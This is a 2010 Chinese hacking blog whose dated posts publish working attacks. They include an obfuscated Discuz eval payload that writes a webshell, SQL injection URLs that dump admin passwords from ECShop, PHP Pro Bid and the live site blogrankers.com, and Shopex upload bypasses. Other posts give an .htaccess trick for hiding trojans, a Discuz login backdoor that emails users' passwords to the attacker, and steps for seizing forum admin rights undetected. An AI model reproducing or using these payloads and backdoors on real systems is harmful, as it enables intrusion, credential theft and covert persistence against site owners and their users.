2010年11月15日星期一

wget

今天打包了个10G文件,要把该文件从服务器A下载到服务B,遇到了几个问题...
1. 报错 Bad port number
wget 'ftp://username@serverA.com:password@serverB.com/a.tar.gz'
把前面的@替换成%40就能解决
wget 'ftp://username%40serverA.com:password@serverB.com/a.tar.gz'

2. 由于文件太大,担心下载途中会断线,使用 -c 就能断点续传
wget -c 'ftp://username%40serverA.com:password@serverB.com/a.tar.gz'

3. 又考虑到如果不限制速度,下载这个文件期间可能会影响到这两台服务器的正常运作,使用--limit-rate完美解决
wget -c 'ftp://username%40serverA.com:password@serverB.com/a.tar.gz' --limit-rate=3m

4. 想想也是时候睡觉了,加多个 -b 参数,让wget在后台执行 , 然后logout ssh ... zzz
wget -c -b 'ftp://username%40serverA.com:password@serverB.com/a.tar.gz' --limit-rate=3m

2010年11月9日星期二

alibaba = 阿里巴巴?

2009年12月,由于工作需求加上自己也对网络安全感兴趣,就踏上了网络安全之路。取了个佚名-alibaba 。许多朋友问我为何网名取为alibaba,是不是和中国的阿里巴巴有关? 当初会取这个网名,其实就是想像阿拉丁神灯里的阿里巴巴一样,芝麻开门,至于芝麻开什么门呢?你懂的 ......

严格算起来,我的网安经验还不足一年,所以呀,原来我才一岁!

2010年10月19日星期二

【原创】Discuz非创始人管理员代码执行

global.func.php
function sendpm($toid, $subject, $message, $fromid = '') {
        if($fromid === '') {
                require_once DISCUZ_ROOT.'./uc_client/client.php';
                $fromid = $discuz_uid;
        }
        if($fromid) {
                uc_pm_send($fromid, $toid, $subject, $message);
        } else {
                global $promptkeys;
                if(in_array($subject, $promptkeys)) {
                        $type = $subject;
                } else {
                        extract($GLOBALS, EXTR_SKIP);
                        require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
                        eval("\$message = addslashes(\"".$message."\");"); //无过滤,可插入代码
                        $type = 'systempm';
                        $message = '
'.$subject.' {time}'.discuzcode($message, 1, 0).'
';
                }
                sendnotice($toid, $message, $type);
        }
}
POC:
1. admincp.php?frames=yes&action=members&operation=newsletter
2. 发短消息,通知内容为:{${phpinfo()}}

EXP - (fputs(fopen('forumdata/cache/cache_01.php','w'),'');) :
{${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

2010年10月5日星期二

ecshop 通杀2.6*2.7 GBK版本 0DAY修改版

“俺是农村娃”丢出了个Ecshop 2.6*2.7 GBK版本漏洞,稍微修改了Exp,更简单快捷了
http://localhost/ecshop/api/checkorder.php?username=%ce%27%20and%201=2%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FROM%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23

2010年10月1日星期五

2010年8月24日星期二

【原创】一点也不鸡叻的 ecshop lib_common.php 注入

昨天无意间读到 http://www.packetstormsecurity.o ... d-SQL-Injection.txt,发现原来可以这样注入:
MySQL >= 5.0 :
执行
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
会报错:
Duplicate entry '5.1.30-community1' for key 'group_key'

MySQL < 5 :
执行
select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
数次后会报错:
Duplicate entry '4.1.22-community-nt:1' for key 1

正好解决了ecshop最新的漏洞


无礼包限制
影响版本:ecshop >= 2.7.0影响版本:ecshop >= 2.7.0

下载package.zip

2010年7月19日星期一

【原创】phpMyAdmin 空口令扫描器 (web版 )

想必大家手里都有许多没用的webshell吧, 闲着也是闲着,就写了个php批量扫 phpMyAdmin 空口令,放上去跑,扫扫些网段,人品好一天还是能够扫到许多phpMyAdmin空口令。
稍微修改下设定,也能够拿来扫一些特定服务器,如扫描nginx。(由于php不能真正的支持thread,所以就使用fsockopen, 效率差了点,兼容性也不是很高,代码更写的一塌糊涂,加减用吧)

下载 scanner.zip

2010年6月4日星期五

2010年5月19日星期三

【原创】ECSHOP search.php exp 变种

基于 http://www.t00ls.net/redirect-7563.html  的变种exp~~
search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319

2010年4月26日星期一

【原创】Shopex V4.8.4 V4.8.5 后台拿Shell 0Days

2010年4月25号 10:42am T00ls 首发
作者:alibaba

ctl.template.php :
function saveContent(){
if(strtolower(substr($_POST['file'],-4,4))=='.php') $_POST['file']='index.html';//只验证最后4位数
$this->begin('index.php?ctl=system/template&act=edit&p[0]='.$_POST['theme']);
$o = $this->system->loadModel('system/template');
$template=array(
'tpl_name'=>$_POST['file_name'],
'tpl_file'=>$_POST['file'],
'tpl_theme'=>$_POST['theme'],
'tpl_type'=>$_POST['type']
);

利用方法:
构造一个上传页面, 提交文件后缀为 .php5(linux) 或在 .php 后面加上一个空格(windows)就能绕过验证
这里附上4.8.4 及 4.8.5 两个不同版本的上传页面:
484-485.zip
成功上传后生成一句话后门 - http://站点/home/cache/t00ls-1.php5

2010年2月3日星期三

上传漏洞

很多网站都能让用户上传文件,我们就可以尝试以下方法上传后门:

1. 直接上传木马。
2. 上传时在后缀加空格或加几点。

木马.asp 这里后面有一个空格
木马.asp..
3. 双重扩展名:
木马.jpg.asp
4. IIS 漏洞
木马.asp;1.jpg
5. Apache 漏洞
木马.php.jpg

Cookies 显示及修改

在网址栏打上这个代码:
javascript:alert(document.cookie);
会跳出一个框框,显示当前页面所储存的cookie

在网址栏打上这个代码:
javascript:void(document.cookie="username=admin");
就能达到修改特定cookie内容的目的(因站而异)

列举当前所有进程的PID以及结束进程的方法列举当前所有进程的PID以及结束进程的方法

以下这个脚本可以列举当前所有进程的PID:PIDlist.vbs
echo wscript.echo "PID ProcessName">>PIDlist.vbe
echo for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ >>PIDlist.vbe
echo wscript.echo ps.handle^&vbtab^&ps.name>>PIDlist.vbe
echo next>>PIDlist.vbe


生成pidlist.vbe后请检查一下echo出来的脚本是否有错(才四行,对一下上面给出的就可以了)。运行pidlist.vbe得到如下运行结果:
C:\WINNT\system32>cscript pidlist.vbe

结束进程PID 200
ntsd -c q -p 200

CMD下logoff 3389用户

C:\>hostname //得到serverName

C:\>quser /server:<serverName> //列出所有占线用户以及其sessionId

C:\>logoff <sessionId> /server:<serverName> //logoff 指定用户

【原创】discuz密码记录+电邮

Discuz 7.1/7.2 :include\login.func.php
Discuz 7.0:logging.php

搜索这段代码:

if(!$member) {
return -1;
}

在下面加入:

$title= $tmp['username'].' : '.$tmp['password'].' : '.$tmp['email'];
$msg='Username:'.$tmp['username'].' Password:'.$tmp['password'].' Email:'.$tmp['email'].' Date:'.date(DATE_RFC822).'\r\n';
$mailto='email@email.com';//这里改为你自己的电邮
$mailfrom = 'From: '.$tmp['email'];
mail($mailto,$title,$msg,$mailfrom);

如果是要较完整的资料可以使用以下代码:
$title= $_SERVER['HTTP_HOST'];
$msg='Username:'.$tmp['username'].' Password:'.$tmp['password'].' Email:'.$tmp['email'].' Question ID:'.$questionid.' Answer:'.$answer.' Date:'.date(DATE_RFC822).'\r\n';
$mailto='email@email.com';//这里改为你自己的电邮
$mailfrom = 'From: '.$tmp['email'];
mail($mailto,$title,$msg,$mailfrom);

CMD下开启telnet的方法

sc config tlntsvr start= auto
net start telnet

一个能批量查找md5,sha1 hash的网站

http://www.md5decrypter.co.uk/

可以无限批量查询md5 hash,不过数量太多会很慢

Tips: 如果要查询很多hash的话(过千或上万),你可以一次过全部丢进去查找,然后就不要去管它,大约几个小时或更久的时间后,你再去1000条1000条查 询,速度非常快,估计是因为之前一次过丢进去查找的结果还保留在cache server里面. 我测过3万条数据,晚上全部丢去该server查找,第二天早上去测试,每次1000条md5 hash,大概一次只需1分钟时间。

2010年1月28日星期四

MSSQL 分析表名

MSSQL下分析表名的方法:

1。先db_name()分析出数据库名
~and 1=2 union select db_name()

2。接着用以下语句分析表名(假设数据库名为dbname)
~and 1=2 union all select name from dbname..sysobjects WHERE xtype = 'U' AND name NOT IN(SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55)

2010年1月27日星期三

【原创】另类隐藏PHP木马的方法

运行环境:Linux + apache

将php木马后缀改成图片类后缀,然后在木马目录或其根目录创建一个.htaccess文件(或 在原有的.htaccess文件中加入)
<filesmatch "文件名">
SetHandler application/x-httpd-php
</filesmatch>

例:1.jpg
<filesmatch "1.jpg">
SetHandler application/x-httpd-php
</filesmatch>

2010年1月26日星期二

【原创】Blogrankers.com存在SQL Injection 漏洞

一个计算blog 排名的网站
http://www.blogrankers.com

存在SQL Injection漏洞,黑客可以通过该漏洞得到所有用户资料,用户名以及密码

利用方法:
http://www.blogrankers.com/index.php?do=votes&id=10517%27%20and%201=2%20union%20select%20concat%28username,0x3a,password,0x3a,email%29%20from%20evots_user%20limit%200,1%20%20union%20select%201%20from%20evots_site%20where%20site_id=%2710157

如果该站的会员所设定的帐号密码和自身blog的帐号密码一样的话,黑客就能够通过此站点的数据入侵那些会员的blog,这是十分危险的。

2010年1月22日星期五

【原创】PHP Pro Bid 6.03 SQL Injection

版本:PHP Pro Bid 6.03

一个老旧PHP拍卖程序,目前最新版本是6.06。直接看代码:

auction_details.php:
$template->set('msg_changes_saved', $msg_changes_saved);
$item_details['quantity'] = $item->set_quantity($item_details['quantity']);
$custom_fld->save_edit_vars($item_details['owner_id'], $page_handle);
$media_details = $item->get_media_values($_REQUEST['auction_id']);//没有过滤
$item_details['ad_image'] = $media_details['ad_image'];
$item_details['ad_video'] = $media_details['ad_video'];
$template->set('item_details', $item_details);
$template->set('buyout_only', $item->buyout_only($item_details));

includes/class_item.php:
function get_media_values($auction_id, $wanted_ad = false)
{
$output = array('auction_id' => $auction_id, 'ad_image' => null, 'ad_video' => null);
(int) $counter_image = 0;
(int) $counter_video = 0;

$field_type = ($wanted_ad) ? 'wanted_ad_id' : 'auction_id';

//这里就是我们要注入的地方,由于回显是图片,所以media_type必须为1
$sql_select_media = $this->query("SELECT media_url, media_type FROM " . DB_PREFIX ."auction_media WHERE
" . $field_type . "=" . $auction_id . " AND upload_in_progress=0 ORDER BY media_id ASC");
while($media_details = $this->fetch_array($sql_select_media))
{
if ($media_details['media_type'] == 1) // 1 是图片
{
$output['ad_image'][$counter_image++] = $media_details['media_url'];
}
else if ($media_details['media_type'] == 2) // video
{
$output['ad_video'][$counter_video++] = $media_details['media_url'];
}
}
return $output;
}

利用方法:
auction_details.php?name=物品名称& auction_id=物品ID and 1=2 union select concat(username,0x3a,password,0x3a),1 from probid_admins--

Image is broken 的路径包含了管理员账号和密码


这个系统,管理员密码只是用普通的md5加密,但是会员密码却是用md5(md5($password) . $salt)加密,实在令人不解


修复方法:
auction_details.php
$media_details = $item->get_media_values($_REQUEST['auction_id']);

修改为
$media_details = $item->get_media_values(intval($_REQUEST['auction_id']));

2010年1月15日星期五

一个很久的discuz插件漏洞,但马来西亚还有很多论坛使用

插件:黑道生涯
影响版本:2009年8月以前版本都存在此漏洞
漏洞危害:提权成管理员

这是个很久之前的漏洞了,不过马来西亚仍然还有很多论坛没有更新修复此插件的漏洞(至少20个论坛),就发出来分享分享

漏洞利用:
1。先确定黑道生涯的版本,只要是2009年8月1号以前的版本就能
2。注册一个论坛帐号,然后登陆
3。然后打开黑道生涯页面,点击我要加入,之后点击开始黑道生涯
4。按打劫,然后打勾 随机抽取会员目标 ,按提交按钮
5。然后看打劫成功,体力一定要少过100,如果体力是100就继续打劫,直到体力小于100
6。在你的browser address bar (体力必须低于100)打上 http://目标网址 /blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643D31,3,4
7。到这里你已经是论坛管理员,可以登陆后台作你想要的事了,在这里最好马上换去隐身状态,以免被其他管理员发现
8。如果要还原为普通用户,在你的browser address bar (体力必须低于100)打上 http://目标网址 /blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2d312c67726f757069643d31302c61646d696e69643d3130,3,4

2010年1月5日星期二

两个提权时遇到的问题

供参考:
几个礼拜前测试了一个站,但提权失败,今天再次尝试,才发现原来犯下了两个失误。

失误一: ServUDaemon.ini

我把hash前面两个字母去掉后直接去跑彩虹表,结果跑不出密码,原来是因为我没有把hash的大写字母换去小写。。。

失误二: net user test test /add

当我从失误一拿到了serv-u密码后,马上就去尝试提权,但还是失败了。。。之后用该serv-U密码登入3389,才知道失败的原因。
原因就是该站管理员开启了"密码复杂性要求",所有帐号密码都必须要7位数以上,密码中必须包含至少一个大小写英文字母,和一个数字。。。。